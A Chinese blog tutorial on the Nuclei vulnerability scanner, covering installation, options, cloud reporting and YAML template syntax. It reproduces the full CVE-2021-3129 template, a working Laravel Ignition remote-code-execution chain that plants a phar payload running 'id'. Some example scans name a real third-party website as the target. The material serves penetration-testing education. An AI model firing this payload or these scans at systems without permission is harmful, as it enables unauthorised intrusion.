Nuclei漏洞扫描


一、Nuclei简介

Nuclei是一款基于YAML语法模板开发的开源快速漏洞扫描工具,由ProjectDiscovery团队开发。它使用Go语言编写,具有高效、可扩展和易用的特点。Nuclei通过模板化的方式定义漏洞检测逻辑,支持TCP、DNS、HTTP、FILE等多种协议的扫描。

Nuclei广泛应用于渗透测试、漏洞验证和自动化安全评估。它可以帮助安全研究人员和渗透测试人员快速发现和验证潜在的安全漏洞。

1.1 特点

  1. 模板化扫描:Nuclei使用YAML模板来描述漏洞的特征和检测逻辑,这些模板可以是官方提供的,也可以是用户自定义的。
  2. 高性能:支持并发扫描,能够快速扫描大量目标。
  3. 零误报:通过精确的模板设计,Nuclei能够有效减少误报。
  4. 可扩展性:用户可以编写自定义模板,以适应特定的漏洞检测需求。
  5. 社区支持:拥有活跃的社区和丰富的模板库,覆盖多种已知漏洞。

二、安装

Nuclei可以通过以下方式安装:

  • 使用Go语言安装:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
  • 使用Homebrew安装:
brew install nuclei
  • 使用Docker安装:
docker pull projectdiscovery/nuclei:latest
  • 直接下载二进制版本:

https://github.com/projectdiscovery/nuclei/releases

验证安装:

nuclei -h
或 
nuclei

更新模版库:

如果出现上面的情况可能是网络原因,重新运行nuclei尝试。

模版库更新成功。

三、使用方法

3.1 基本格式

运行Nuclei的基本命令格式为:

nuclei -u <目标URL> -t <模板路径>

用户还可以通过指定模板目录、目标列表文件、并发数等参数,灵活控制扫描过程。

nuclei -h #查看帮助手册。

3.2 常用参数

3.2.1 目标 TARGET

  • -u, -target string[] 目标URL/主机,可以是数组。
  • -l, -list string 一个包含目标URL/主机的列表文件。
  • -sa, -scan-all-ips 扫描所有DNS记录关联的IP。
  • -iv, -ip-version string[] 指定要扫描的IP版本,默认为IPv4。

3.2.2 模版 TEMPLATES

  • -tl 列出所有可用的模版。
nuclei -tl > nuclei_tmp.txt

目前有7607个可用模版,量还是很大的。

  • -nt 仅运行最新发布的nuclei模版

  • -t 指定要运行的模版或模版目录(多模版以,分隔)

3.2.3 调试 DEBUG

  • -version 显示nuclei版本

其他参数在使用的过程中慢慢积累即可。

3.3 如何使用

3.3.1 默认使用全模版扫描

默认情况下,所有模版都从默认模版安装路径执行。

nuclei -u https://archeodata.sinica.edu.tw/

3.3.2 指定模版目录

nuclei -u https://example.com -t cves/ -t exposures/

实战使用:使用nuclei扫描laravel框架的RCE漏洞CVE-2021-3129

nuclei -u http://172.20.10.5:81/ -t cves/

成功检测到 CVE-2021-3129漏洞。

具体的利用方法见本站《Laravel RCE CVE-2021-3129》一文。

3.3.3 指定单个模版进行测试

nuclei -u https://archeodata.sinica.edu.tw/ -t ssl\deprecated-tls.yaml

实战使用:使用nuclei扫描laravel框架的RCE漏洞CVE-2021-3129

模版位置:nuclei-templates/http/cves/2021/CVE-2021-3129.yaml

nuclei -u http://172.20.10.5:81/ -t http/cves/2021/CVE-2021-3129.yaml

成功检测到目标漏洞。

可以在绝对目录之后tab键补足模版文件。

CVE-2021-3129.yaml的配置:

id: CVE-2021-3129

info:
  name: Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution
  author: z3bd,pdteam
  severity: critical
  description: Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, potentially allowing an attacker to take control of the affected system.
  remediation: |
    Upgrade Laravel to version 8.4.3 or higher to mitigate this vulnerability.
  reference:
    - https://www.ambionics.io/blog/laravel-debug-rce
    - https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3129
    - https://github.com/facade/ignition/pull/334
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3129
    epss-score: 0.97461
    epss-percentile: 0.99957
    cpe: cpe:2.3:a:facade:ignition:*:*:*:*:*:laravel:*:*
  metadata:
    max-request: 6
    vendor: facade
    product: ignition
    framework: laravel
  tags: cve2021,cve,laravel,rce,vulhub,kev,facade

http:
  - raw:
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
          - "Illuminate"
        condition: and

      - type: status
        status:
          - 500

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"
# digest: 490a004630440220061e1cccf77831c543906f6cd87272aba03f3bc9d9978646f1f32e9bc009697402200ad6ad4858c57e1d8ae24c45ec24ed9d980bf9eac4df9e25a4de70882bf64f83:922c64590222798bb761d5b6d8e72950

3.3.4 针对URL列表执行模版

nuclei -list http_urls.txt

3.4 结果仪表盘

Nuclei 现在允许与 ProjectDiscovery 云平台无缝集成,以简化 Nuclei 结果的可祝化并快速生成报告。

请按照以下步骤设置 PDCP 结果仪表板:

点击API key查看专属的API Key

  • 2、使用命令nuclei -auth,在出现提示时输入您的 AP1密钥。

认证成功。

  • 3、之后要执行扫描并将结果直接上传到云端,在运行扫描时使用-cloud-upload选项。

例如这里的结果访问链接:

https://cloud.projectdiscovery.io/scans/cu7iv6i804ic73fv90rg?team_id=none

四、自研

ProjectDiscovery 云平台 API v1 围绕 REST 进行组织。API 具有面向资源的URL,在大多数情况下接受和返回 JSON,并且 API使用标淮的HTTP 响应代码、身份验证和动词。这给了我们自研扫描行为很大的支持:

文档:https://docs.projectdiscovery.io/api-reference/introduction

五、模版编辑器

https://cloud.projectdiscovery.io/templates

Nuclei Template Ecitor 是一款多功能云托管工具,专为创建、运行和共享Nuclei 模板而设计。它为寻求管理和执行模板的个人和专业用户提供了有用的功能

使用方法:

  1. 单击”创建新模板”按钮以打开一个新的编辑器
  2. 编写和修改模板。编辑器利用语法突出显示、片段建议等工具来简化写作过程
  3. 编写完模板后,输入测试目标,然后单击“扫描”按钮以验证模板的准确性
  4. 也可以点击share分享你编写的模板

六、nuclei yaml模版语法

Nuclei 的 YAML 模板语法是编写高效扫描模板的核心。

yaml文件的语法

  • 基础概念

YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写,强调数据描述而非标记。

设计目标: 易读、易写,适合配置文件和序列化数据。

文件扩展名: .yaml.yml

核心特性:1)缩进定义层级(强制空格,不能用 Tab)。2)支持注释。3)数据类型自动推断(如字符串、数字、布尔值等)。

  • 基本语法规则

1)键值对(Key-Value)

用冒号 : 分隔键和值,冒号后必须加空格。

key: value
name: "Alice"
age: 30

2)列表(List)

用短横线 - 表示列表项,缩进统一。

fruits:
  - Apple
  - Banana
  - Orange

3)嵌套结构

通过缩进表示层级。

person:
  name: Bob
  age: 25
  address:
    city: Beijing
    street: "123 Main St"

4)字典(Map)

简直对集合

server:
  ip: 192.168.1.1
  port: 8080
  enabled: true

6.1 模板整体结构

id: unique-id  # 模板唯一标识(必填)
info:          # 模板元信息(必填)
  name: Template Name
  author: YourName
  severity: low/medium/high/critical
  description: 漏洞描述
  reference:    # 可选
    - https://example.com
  tags:         # 可选,分类标签
    - sqli
    - xss

# 协议块(必填,支持 http、network、dns 等)
http:
  - method: GET  # 请求方法
    path:
      - "{{BaseURL}}/path"  # 请求路径
    headers:     # 请求头(可选)
      User-Agent: "Nuclei"
    matchers:    # 匹配器(必填)
      - type: word
        words:
          - "匹配内容"
    extractors:  # 提取器(可选)
      - type: regex
        name: token
        regex: 'token=([a-z0-9]+)'

官方文档

https://docs.projectdiscovery.io/cloud/introduction


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录